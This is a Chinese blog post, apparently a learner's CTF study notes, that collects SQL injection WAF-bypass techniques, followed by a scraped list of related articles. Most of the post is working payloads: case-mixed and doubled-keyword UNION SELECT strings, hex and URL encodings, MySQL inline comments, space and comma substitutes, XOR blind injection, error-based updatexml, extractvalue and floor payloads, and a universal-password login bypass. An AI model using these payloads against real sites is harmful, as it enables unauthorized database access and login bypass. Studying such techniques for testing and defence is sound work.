首先,本人是小白,这篇文章也只是总结了一下大佬们的sql注入方法,要是有错,请各位大佬指出,以便学习。

虽然我是菜鸡,但是太过基础的sql注入问题也就不再重复的解释了。直接从常用的说起。

实战中常用的绕过方法:

1)大小写混合

2)替换关键字

3)使用编码

4)使用注释

5)等价函数与命令

6)特殊符号

7)HTTP参数控制

8)缓冲区溢出

9)整合绕过

10) 杂谈

(1)大小写绕过

  大小写绕过是最常见的一种sql注入方法,但因为它的常见,它的实用性也就不是那么好,基本上可以大小写绕过的网站已经不存在。

所以现在大小写绕过基本上都是配合其他的方法一起使用(就是我们之后要谈到的整合绕过)。

例子(所有的例子都是     左边(会被WAF拦截的) ==> 右边(可以Bypass的) 不一样的地方或重点会被加粗哦):

1' union select 1,2,3,group_concat(schema_tables) from information_schema.tables where table_schema=database()#  ==> 

1' UNioN sEleCt 1,2,3,group_concat(schema_tables) from information_schema.tables where table_schema=database()#

(2)替换关键字

  替换关键字虽说也不算常用,但是实用性毕竟比大小写绕过高多了。这里重点介绍一下。

所谓的关键字替换是指大小写无法轻易绕过的正则表达式。如 /expression/i  ,但是如果正则表达式只匹配一次并且不会直接阻止你的话,我们就拥有了绕过方法,

即 把过滤掉的关键字写两遍就可以了(说是写两遍,但是应该没有人真就 select select 吧。).正确写法: seleselectct . 这样写的话,中间加粗的select就会被过滤,从而剩下一个崭新的select。

例子:

1' union select 1,2,3,group_concat(schema_tables) from information_schema.tables where table_schema=database()#   ==>
1' UniounionN SElecselectT 1,2,3,group_concat(schema_tables) from infoorrmation_schema.tables where table_schema=database()#

(注意:如果单词中间包含 or  and 等被过滤的关键词,也要写两遍,否则无法注入成功的哦!以上的 information 就是这个道理)

(3)使用编码

<a>URL编码

这个还需要介绍吗?干我们这行的应该或多或少都对URL编码有一些了解吧(连我这个菜鸡都懂得一些)。那么开始咯:

首先是大家都懂的把不同的符号打在网址栏会有不同的编码。 单引号 = %27 , 空格 = %20 , 左括号 = %28 , 右括号 = %29 。

对于某些网站,他可能会直接过滤掉 %27 来实现单引号的过滤,但是如果它只过滤一遍的话会发生什么呢(当然是注入点了,每次问都觉得自己好傻)。

我们可以二次url编码绕过。

继续例子(等等这个例子有问题先不写):

注:url编码其实就是ascll码的十六进制格式再在前面加上%。

<b>十六进制编码

因为数据库会自动的把十六进制的编码转化为字符串,这也就让我们拥有了另一个过滤点:

把它正则匹配的编码转化为16进制的格式,这样他就没有办法过滤了。而转化的方法也有很多种,这里列举两种(因为是抄的例子,内联注释之后就见到了):

id=-15 /*u%6eion*/ /*!se%6cect*/ 1,2,3,4   .......   (单个字符的十六进制编码)          或者

select(extractvalue(0x3c613e61646d696e3c2f613e,0x2f61))                            (字符串的十六进制编码)

<c>Unicode编码

这个东西我是真的一点都不了解,也只能嫖别人的博客(没有自己的见解QAQ)

(pass,等我回去就补上)

(4)使用注释

首先来看一看常见的注释符号:  /**/ , -- , --a , --+ , // , # , -- - , ;%00

<a>普通注释

举例:z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4   (/**/可以用来当做空格使用)

'union%a0select pass from users#(抄来的我也不知道%a0有什么用)

/**/在构造得查询语句中插入注释,规避对空格的依赖或关键字识别;# , --+ , ;%00 用于终结语句的查询

<b>内联注释(一个重点?ctf中很难见到)

注意:/*!*/只有在mysql中才可以使用。

举例:id=-1+/*!UNION*/+/*!SELECT*/+1,2,3

   id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…

两个示例中前者使用内联注释,后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分,要做到这一点后面讨论的特殊符号也能实现,当然前提是包括/、*在内的这些字符能正常使用。

(5)等价函数与命令

原因:有些函数或命令因其关键字被检测出来而无法使用,但是在很多情况下可以使用与之等价或类似的代码替代其使用。

(a)函数名或变量名被过滤

  hex(),bin() ==> ascii()

  sleep()  ==> benchmark()

  concat_ws() ==> group_concat()

  mid(),substr() ==> substring()

  @@user ==> user()

  @@datadir ==> datadir()

例子: substr((select 'password'),1,1) = 0x70

   strcmp(left('password',1), 0x69) = 1

     strcmp(left('password',1), 0x70) = 0

   strcmp(left('password',1), 0x71) = -1

上面的例子只是在说,在sql中过滤了的函数中,有时会有函数没有被过滤且可以代替它们。

当输出按长度不够时可以使用 substr(),mid(),right()(oracle中没有哦),reverse()来实现获取完整字符串。

(b)符号(这是一个重点!)

  有时候 and 和 or 被过滤,我们可以尝试使用 && 和 || 来代替他们;

  而对于 = 被过滤的情况,我们可以使用 > , <  (不是颜表情。。是大于,小于号)来代替它,毕竟既不大于又不小于不就是等于吗?

  那过滤 空格 呢?幸好对于这种丧心病狂的过滤我们也有应对方法,即上文中说的 用/**/来代替空格。(当然,前提是/和*没被过滤)还有别的方法下文会总结.

  那么另一个丧心病狂的过滤点就是 ,(逗号) 了。在盲注中逗号基本上是不可缺少的如 ascii(substr(database(),1,1) )=80

 ascii(substr(database() from 2 for 1))  <==>  ascii(substr(database(),2,1)) 

来代替

  关于这个我也就只会这一种方法 (以后再见到时会补上的)。

那么总结一下:

过滤关系:

  and,or  ==>   &&,||

过滤等号:

  (1)=    ==>     <   或者  >   代替用途

  (2)like 和 regexp 也可以在不同方面代替。

过滤空格:

  (1)编码方式

    _(代表空格)  ==>  %20 %09 %0a %0b %0c %0d %a0 /**/  /*123*/    (如果一个不行就多试几个)

    (有一说一,之前见到一道题它居然全词匹配/**/!!所以尝试/*1354*/这种东西也很重要。真的吐了。)

  (2)在某种情况下还可以用()包括字符串。

  (3)过滤不严格的话可以尝试双写空格

  (4)有些情况下可以回车代替

过滤逗号:

union select 1,2,3 ==>  union select * from (select 1)a join (select 2)b join (select 3)c

(c)生僻函数

  MySQL、PostgreSQL、Oracle它们都有许多自己的函数,基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能,而且代价太大,看来黑名单技术到一定程度便遇到了限制。

  报错注入就是最常见的一点: updatexml() , extractvalue() , floor()

不详细说了,直接看大佬的博客吧:https://www.cnblogs.com/wocalieshenmegui/p/5917967.html 

(7)HTTP参数控制

杂谈知识点:

(1) 对于过滤了 '=' 的sql注入 ,有两个方法可以绕过,like 和 regexp。 即

id=1'+union+select+1,group_concat(schema_table)+from+information_schema.tables+where+table_schema=database()#
id=1'+union+select+1,group_concat(schema_table)+from+information_schema.tables+where+table_schema+like+database()#
id=1'+union+select+1,group_concat(schema_table)+from+information_schema.tables+where+table_schema+regexp+database()#

三者是相等的。(regexp就是正则表达式的意思o,在某些情况下,可以用 username='\'&password='||password/**/regexp/**/"^a";%00'来绕过,注:/**/是用来代替空格的,;%00是用来闭合单引号的)

(2)对于过滤了 union 和 select 的注入,可以使用异或注入(基于布尔的盲注)来代替。即

username=admin'^(length(database())=3)^'   用sql语句来看就是   where username='admin'^(length(database())=3)^''   (成功闭合)

(3)对于注入来说  ',' 是极其重要的一个字符,如在盲注中 substr() ,mid() , limit  函数非常重要 ,而在逗号过滤的情况下,又该怎么办呢?

substr(database()from(1)for(1))==substr(database(),1,1)

substr(user() from 1 for 1)

select substr(user()from -1) from yz ;

select ascii(substr(user() from 1 for 1)) < 150;

但是如果for又被过滤了那么。。。。。

还有方法!居然还有方法!

substr(database()from(1))    如果不加for的话,默认是返回到字符串末尾如:

substr("Mikasa"from(2))    返回从第二个字符开始的整个字符串。

同时也可以利用替换函数

select left(database(),2)>'tf';

selete * from testtable limit 2,1;

selete * from testtable limit 2 offset 1;

(4)报错注入: (写一下基本的payload就好了,过滤问题的话结合上文就好了)   (还有一个问题:报错注入当然是只有在显示报错信息时才可以用啊!盲注就不要用了啊,淦!)

id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+         (updatexml 函数的报错漏洞)

id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+           (extractvalue 函数的报错漏洞)

id=1"%20union%20Select%201,count(*),concat(0x3a,0x3a,(select%20database()),0x3a,0x3a,floor(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a--+         (floor函数报错注入)

报错注入还有很多种哦,十种报错注入(不想写了,理解一下孩子)

(5)sql中的万能密码 (要求没有过滤  |  和 '  )

输入:

username=admin(随意)

password='||1||'    

即可进行登录

(6)mysql的like语句中有些特殊字符需要转换后才可以使用

具体情况详见大佬的博客:https://blog.csdn.net/weixin_33757609/article/details/92386307

参考博客(感谢大佬们):

https://www.cnblogs.com/milantgh/p/4274387.html

https://blog.csdn.net/whatday/article/details/61912578

https://www.cnblogs.com/qingwuyou/p/10687462.html#auto_id_10

https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

从零开始的sql注入学习(挖坑不填)的更多相关文章

  1. SQL注入学习资料总结

    转载自:https://bbs.ichunqiu.com/thread-12105-1-1.html  什么是SQL注入 SQL注入基本介绍 结构化查询语言(Structured Query Lang ...

  2. sql注入学习笔记,什么是sql注入,如何预防sql注入,如何寻找sql注入漏洞,如何注入sql攻击 (原)

    (整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文章最后关于如何预防sql注入) (整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文 ...

  3. SQL学习之SQL注入学习总结

    所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 测试数据库 我们本文就以如下数据库作为测试数据库,完成我们的注入分析 ...

  4. sql注入学习笔记 详解篇

    sql注入的原理以及怎么预防sql注入(请参考上一篇文章) https://www.cnblogs.com/KHZ521/p/12128364.html (本章主要针对MySQL数据库进行注入) sq ...

  5. SQL注入学习-Dnslog盲注

    1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...

  6. 简单sql注入学习

    sql注入是什么? 所谓SQL注入,就是通过把SQL命令插入到Web表单提 交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意)的SQ ...

  7. SQL注入学习(一)

    注入攻击的本质:web应用程序没有过滤用户输入或过滤不严谨,直接把用户输入的恶意数据当做代码执行 两个条件: 1.用户能够控制输入 2.原本程序要执行的代码,拼接了用户输入的数据 注入类型 SQL注入 ...

  8. Java SQL注入学习笔记

    1 简介 文章主要内容包括: Java 持久层技术/框架简单介绍 不同场景/框架下易导致 SQL 注入的写法 如何避免和修复 SQL 注入 2 JDBC 介绍 JDBC: 全称 Java Databa ...

  9. sql注入学习心得与sqlmap使用心得

    做题是最好的老师 首先先来分享一下我用来练手的题目,实验吧中的简单的sql注入1,2,3 不得不说,sql注入真是一个神奇的东西,至少我以前看起来一点头绪都没有的题目能入手了 首先是简单的sql注入3 ...

随机推荐

  1. CSS圣杯布局、双飞翼布局详解

    三栏布局中,经典中的经典应该就是圣杯布局.双飞翼布局没跑了.双飞翼布局和圣杯布局其实是一样的,只不过在写法上有些不同,其布局都是左右固定宽度,中间宽度自适应. 先熟悉一下圣杯布局.双飞翼布局中的特点: ...

  2. mysql 触发器的创建和使用

    什么是触发器 触发器(TRIGGER)是MySQL的数据库对象之一,从5.0.2版本开始支持.该对象与编程语言中的函数非常类似,都需要声明.执行等.但是触发器的执行不是由程序调用,也不是由手工启动,而 ...

  3. Innodb之(临时)表空间、段、区、块

    引用连接:https://www.cnblogs.com/duanxz/p/3724120.html 对于innodb存储引擎而言,其数据文件最小的存储单位为页.默认为16KB大小.在页的基础上又分为 ...

  4. Linux配置邮件发送信息

    背景 一般情况下,我们的IT系统都会有相关的告警的处理,有的是邮件,有的是短信,这些都能很方便的获得一些有用的信息 在某些时候我们没有这样的系统,而自己又需要定期的获取一些信息的时候,配置一个邮件发送 ...

  5. 【转】CentOS7 64位安装mysql教程

    从最新版本的linux系统开始,默认的是 Mariadb而不是mysql!这里依旧以mysql为例进行展示 1.先检查系统是否装有mysql rpm -qa | grep mysql 这里返回空值,说 ...

  6. [C/C++]详解结构体

    引子 设计程序时,最重要的步骤之一就是选择表示数据的方法.在许多情况下,简单变量甚至是数组还不够.为此,C提供了结构变量(structure variable)提高表示数据的能力,它能够创造新的形式. ...

  7. python request 请求https报错问题

    旁边大佬让我重新写一个某XX监控脚本 需要请求https遇到了如下的问题  花了一下午解决这个问题... 害太菜,.... 遇到的问题:     requests.post  发送https请求的时候 ...

  8. 通过phpmyadmin拿下webshell

    废话: 1.听说网上卖手机的网站很多是诈骗的,搜到一个499元货到付款的手机网站.有点像诈骗,但倒觉得他是在收集用户信息 2.把网站扔到御剑,搜到phpmyadmin的后台,试试下账号密码居然都是默认 ...

  9. SQL注入实战新手教程

    本文章仅用于网络安全交流学习,严禁用于非法用途,否则后果自负 一.如何批量找SQL注入(工具+资源都打包):http://www.liuwx.cn/post-149.html 1.SQL注入点搜索关键 ...

  10. 如何在FL Studio中使用自动剪辑(上)

    一.什么是FL Studio Automation FL Studio automation可以通过许多不同的方法实现.一种方法是使用自动化剪辑(automation clip).自动化剪辑(或包络线 ...